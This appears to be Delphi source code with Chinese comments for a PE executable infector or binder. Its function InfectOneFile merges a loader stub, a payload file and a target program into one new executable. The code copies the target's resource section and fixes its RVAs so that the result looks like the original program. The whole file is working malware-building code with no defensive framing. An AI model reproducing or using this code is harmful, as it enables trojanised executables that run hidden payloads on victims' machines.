function Align(Size, AlignBase: integer): Integer;
begin
if Size mod AlignBase <> 0 then
Result := (Trunc(Size / AlignBase) + 1) * AlignBase
else
Result := Size;
end;
procedure GetRsrcStream(AFHandle: THandle; var AStream: PStream;var ASectionHeader: TImageSectionHeader);
var
I:integer;
DosHeader: TImageDosHeader;
NTHeader: TImageNtHeaders; {NtHeader}
dRead: DWORD;
begin
SetFilePointer(AFHandle, 0, nil, FILE_BEGIN);
ReadFile(AFHandle, DosHeader, SizeOf(TImageDosHeader), dRead, nil);
//非PE 退出
if not DosHeader.e_magic = IMAGE_DOS_SIGNATURE then Exit;
SetFilePointer(AFHandle, DosHeader._lfanew, nil, FILE_BEGIN);
ReadFile(AFHandle, NTHeader, SizeOf(TImageNTHeaders), dRead, nil);
//非PE 退出
if NTHeader.Signature <> IMAGE_NT_SIGNATURE then Exit;
SetFilePointer(AFHandle, DosHeader._lfanew+SizeOf(TImageNtHeaders), nil, FILE_BEGIN);
for i := 0 to NTHeader.FileHeader.NumberOfSections - 1 do
begin
ReadFile(AFHandle, ASectionHeader, SizeOf(TImageSectionHeader), dRead, nil);
if ASectionHeader.VirtualAddress = NTHeader.OptionalHeader.DataDirectory[2].VirtualAddress then
begin
SetFilePointer(AFHandle, ASectionHeader.PointerToRawData, nil, FILE_BEGIN);
SetLength(AStream, ASectionHeader.SizeOfRawData);
ReadFile(AFHandle, AStream[0], ASectionHeader.SizeOfRawData, dRead, nil);
Exit;
end;
end;
end;
function StripHighBit(L: Longint): DWORD;
begin
Result := L and $7FFFFFFF;
end;
function HighBitSet(L: Longint): Boolean;
begin
Result := (L and $80000000) <> 0;
end;
function IsDirectory(ResourceDirectoryEntry:PImageResourceDirectoryEntry; BaseEntry: DWORD): boolean;
begin
Result := HighBitSet(PImageResourceDirectoryEntry(StripHighBit(ResourceDirectoryEntry^.OffsetToData) +
BaseEntry + SizeOf(TImageResourceDirectory))^.OffsetToData);
end;
function ResourceDataEntry(ResourceDirectoryEntry:PImageResourceDirectoryEntry; BaseEntry: DWORD):PImageResourceDataEntry;
begin
Result := PImageResourceDataEntry(PImageResourceDirectoryEntry(StripHighBit(ResourceDirectoryEntry^.OffsetToData) +
BaseEntry + SizeOf(TImageResourceDirectory))^.OffsetToData + BaseEntry);
end;
function FixRsrc(ResourceDirectory:PImageResourceDirectory; BaseEntry,OldVA, NewVA: DWORD):boolean;
var
I: Integer;
ResourceDirectoryEntry:PImageResourceDirectoryEntry;
Data: PImageResourceDataEntry;
begin
Result := True;
ResourceDirectoryEntry := PImageResourceDirectoryEntry(DWORD(ResourceDirectory)
+ SizeOf(TImageResourceDirectory));
for I := 0 to ResourceDirectory^.NumberOfIdEntries + ResourceDirectory^.NumberOfNamedEntries - 1 do
begin
if IsDirectory(ResourceDirectoryEntry, BaseEntry) then
begin
{目录递归调用,把下级的资源列出来}
FixRsrc(PImageResourceDirectory(StripHighBit(
ResourceDirectoryEntry^.OffsetToData)+ BaseEntry),
BaseEntry, OldVA, NewVA);
end
else
begin
{资源}
Data := ResourceDataEntry(ResourceDirectoryEntry, BaseEntry);
//修正RVA
Data^.OffsetToData := Data^.OffsetToData - OldVA + NewVA;
end;
inc(ResourceDirectoryEntry);
end;
end;
function InfectOneFile(ASrcFileName,ADesFileName,ANewFileName: string): string;
var
F,F1,F2: THandle;
dRead: DWORD;
fsDes, fsSrc, len, i, lastPos, oldSize: integer;
pRsrc,LoadStream: PStream;
DosHeader: PImageDosHeader;
NTHeader: PImageNtHeaders; {NtHeader}
pSH,pSectionHeader: PImageSectionHeader;
SectionHeader: TImageSectionHeader;
Section: PSections;
fectStream : TResourceStream;
begin
Result := '';
pRsrc := nil;
//打开需要感染的目标文件
F := CreateFile(PChar(ADesFileName), GENERIC_READ , FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
try
if F = INVALID_HANDLE_VALUE then
begin
Result := '打开目标文件失败!';
Exit;
end;
//获取目标程序的资源文件
GetRsrcStream(F, pRsrc, SectionHeader);
//如果没有资源文件则退出
if pRsrc = nil then
begin
Result := '读取目标文件资源失败!';
Exit;
end;
//读取附加程序流
fectStream := TResourceStream.Create(HInstance,'exe','exetype');
try
fsSrc := fectStream.Size;
SetLength(LoadStream, fectStream.Size);
fectStream.ReadBuffer(LoadStream[0], fectStream.Size);
finally
fectStream.Free;
end;
DosHeader := PImageDosHeader(LoadStream);
NTHeader := PImageNTHeaders(@LoadStream[DosHEader^._lfanew]);
pSectionHeader := PImageSectionHeader(NTHeader); //指向NtHeader
Inc(PImageNtHeaders(pSectionHeader)); //指针向前移Sizeof(TImageNtheaders),这时指向节表第一项
for I := 0 to NTHeader^.FileHeader.NumberOfSections - 1 do
begin
//比较是否是指定的节名,如“.rsrc”
if Strlicomp(@pSectionHeader^.Name, PChar('.rsrc'), IMAGE_SIZEOF_SHORT_NAME) = 0 then
begin
oldSize := pSectionHeader^.SizeOfRawData;
//修正资源大小
pSectionHeader^.SizeOfRawData := SectionHeader.SizeOfRawData;
pSectionHeader^.Misc := SectionHeader.Misc;
break; //找到了,则退出
end;
Inc(pSectionHeader); //取节表下一项,即当前地址加上Sizeof(TImageSectionHeader)
end;
//修复资源
if not FixRsrc(PImageResourceDirectory(pRsrc), DWORD(pRsrc),
SectionHeader.VirtualAddress,
pSectionHeader^.VirtualAddress) then Exit;
NTHeader^.OptionalHeader.DataDirectory[2].Size := SectionHeader.Misc.VirtualSize;
NTHeader^.OptionalHeader.SizeOfImage :=
+ Align(pSectionHeader^.Misc.VirtualSize + pSectionHeader^.VirtualAddress, NTHeader^.OptionalHeader.SectionAlignment);
F1 := CreateFile(PChar(ANewFileName), GENERIC_WRITE, 0, nil, CREATE_ALWAYS, 0, 0);
try
if F1 = INVALID_HANDLE_VALUE then
begin
Result := '创建新文件失败!';
Exit;
end;
F2 := CreateFile(PChar(ASrcFileName), GENERIC_READ , FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
try
if F2 = INVALID_HANDLE_VALUE then
begin
Result := '读取目标文件失败!';
Exit;
end;
fsDes := GetFileSize(F, nil);
Section := PSections(@LoadStream[$70]);
Section^.GUID := $58585858;
Section^.FirstOffset := fsSrc + (SectionHeader.SizeOfRawData - oldSize);
fsSrc := GetFileSize(F2, nil);
Section^.FirstSize := fsSrc;
Section^.LastOffset := Section^.FirstOffset + fsSrc;
Section^.LastSize := fsDes;
//写入头部文件
WriteFile(F1, LoadStream[0], pSectionHeader^.PointerToRawData, dRead, nil);
WriteFile(F1, pRsrc[0], Length(pRsrc), dRead, nil);
repeat
ReadFile(F2, LoadStream[0], Length(LoadStream),dRead, nil);
WriteFile(F1, LoadStream[0], dRead, dRead, nil);
until dRead = 0;
SetFilePointer(F, 0, nil, FILE_BEGIN);
repeat
ReadFile(F, LoadStream[0], Length(LoadStream),dRead, nil);
WriteFile(F1, LoadStream[0], dRead, dRead, nil);
until dRead = 0;
finally
CloseHandle(F2);
end;
finally
CloseHandle(F1);
end;
finally
CloseHandle(F);
SetLength(LoadStream, 0);
SetLength(pRsrc, 0);
end;
end;